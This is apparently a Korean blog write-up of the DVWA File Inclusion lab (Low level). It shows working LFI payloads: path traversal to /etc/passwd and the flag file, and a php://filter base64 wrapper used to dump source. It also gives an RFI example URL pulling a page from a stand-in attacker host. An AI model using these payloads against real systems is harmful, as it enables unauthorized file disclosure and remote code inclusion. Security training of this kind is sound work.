파일 인클루전의 2가지 유형에 대하여는 아래에서 공부할 수 있다.
LFI는 http://vulnerable_host/preview.php?file=../../../../etc/passwd 요런거
RFI는 http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page 요런걸 뜻한다.
말 그대로 local 과 remote의 차이다.
dvwa의 file inclusion 페이지는 아래와 같이 생겼다. 아래 file1, 2, 3.php를 하나씩 눌러보면
http://192.168.0.101/vulnerabilities/fi/?page=include.php
여기서 include.php 부분만 file1.php, ... 이런식으로 바뀌면서 접근이 된다.
file4.php도 있나 싶어서
http://192.168.0.101/vulnerabilities/fi/?page=file4.php 로 접근해봤더니.. 진짜 있었다;
근데.. 몰랐는데, 사이트 아래에 소스코드랑 목표가 제공되고 있었다..!
Objective
Read all five famous quotes from '../hackable/flags/fi.php' using only the file inclusion.
../hackable/flags/fi.php 에 있는 5개의 인용문을 모두 읽는 것이 목표라고 한다.
바로 넣었더니 그런거 없단다..
http://192.168.0.101/vulnerabilities/fi/?page=../../hackable/flags/fi.php 로 해보니 뭔가 떴다!
아직 3개밖에 못찾았는데, 3번은 숨겨져 있다고 한다.. 5개라고 하는데, 4번까지 있는걸 보면 5번도 숨겨져 있나보다.
소스코드를 보니 5번은 주석처리 되어 있엇다.
위의 LFI 설명을 보니 PHP Wrappers 의 PHP Filter 를 이용하면 될 것 같은 느낌이 든다.
http://192.168.0.101/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../hackable/flags/fi.php
로 접속하면 아래처럼 엄청 긴 문자들이 나오는데, base64로 인코딩 된 것이지 싶었다.
PD9waHAKCmlmKCAhZGVmaW5lZCggJ0RWV0FfV0VCX1BBR0VfVE9fUk9PVCcgKSApIHsKCWV4aXQgKCJOaWNlIHRyeSA7LSkuIFVzZSB0aGUgZmlsZSBpbmNsdWRlIG5leHQgdGltZSEiKTsKfQoKPz4KCjEuKSBCb25kLiBKYW1lcyBCb25kCgo8P3BocAoKZWNobyAiMi4pIE15IG5hbWUgaXMgU2hlcmxvY2sgSG9sbWVzLiBJdCBpcyBteSBidXNpbmVzcyB0byBrbm93IHdoYXQgb3RoZXIgcGVvcGxlIGRvbid0IGtub3cuXG5cbjxiciAvPjxiciAvPlxuIjsKCiRsaW5lMyA9ICIzLikgUm9tZW8sIFJvbWVvISBXaGVyZWZvcmUgYXJ0IHRob3UgUm9tZW8/IjsKJGxpbmUzID0gIi0tTElORSBISURERU4gOyktLSI7CmVjaG8gJGxpbmUzIC4gIlxuXG48YnIgLz48YnIgLz5cbiI7CgokbGluZTQgPSAiTkM0cEkiIC4gIkZSb1pTQndiMjlzIiAuICJJRzl1SUgiIC4gIlJvWlNCeWIyOW1JRzEiIC4gIjFjM1FnYUdGIiAuICIyWlNCaCIgLiAiSUd4bFkiIC4gIldzdSI7CmVjaG8gYmFzZTY0X2RlY29kZSggJGxpbmU0ICk7Cgo/PgoKPCEtLSA1LikgVGhlIHdvcmxkIGlzbid0IHJ1biBieSB3ZWFwb25zIGFueW1vcmUsIG9yIGVuZXJneSwgb3IgbW9uZXkuIEl0J3MgcnVuIGJ5IGxpdHRsZSBvbmVzIGFuZCB6ZXJvZXMsIGxpdHRsZSBiaXRzIG9mIGRhdGEuIEl0J3MgYWxsIGp1c3QgZWxlY3Ryb25zLiAtLT4K
https://www.convertstring.com/ko/EncodeDecode/Base64Decode 이 사이트를 이용하여 디코딩 해보니까 아래와 같이 php 코드가 나왔다.
<?php if( !defined( 'DVWA_WEB_PAGE_TO_ROOT' ) ) { exit ("Nice try ;-). Use the file include next time!"); } ?> 1.) Bond. James Bond <?php echo "2.) My name is Sherlock Holmes. It is my business to know what other people don't know.\n\n<br /><br />\n"; $line3 = "3.) Romeo, Romeo! Wherefore art thou Romeo?"; $line3 = "--LINE HIDDEN ;)--"; echo $line3 . "\n\n<br /><br />\n"; $line4 = "NC4pI" . "FRoZSBwb29s" . "IG9uIH" . "RoZSByb29mIG1" . "1c3QgaGF" . "2ZSBh" . "IGxlY" . "Wsu"; echo base64_decode( $line4 ); ?> <!-- 5.) The world isn't run by weapons anymore, or energy, or money. It's run by little ones and zeroes, little bits of data. It's all just electrons. -->
2번은 그냥 출력되도록 되어있었고, 3번은 라인 히든으로 바뀌어 출력되었고, 4번은 base64 인코딩 된 것이 디코드 되어 출력된 것이었다.
'해킹 > DVWA' 카테고리의 다른 글
DVWA 실습 6. Insecure Captcha (Low) (0) | 2022.05.20 |
---|---|
DVWA 실습 5. File Upload (Low) (0) | 2022.05.19 |
DVWA 실습 3. Cross Site Request Forgery (CSRF) (Low) (0) | 2022.05.19 |
DVWA 실습 2. Command Injection (Low) (0) | 2022.05.19 |
DVWA 실습 1. Brute Force (Low) (0) | 2022.05.18 |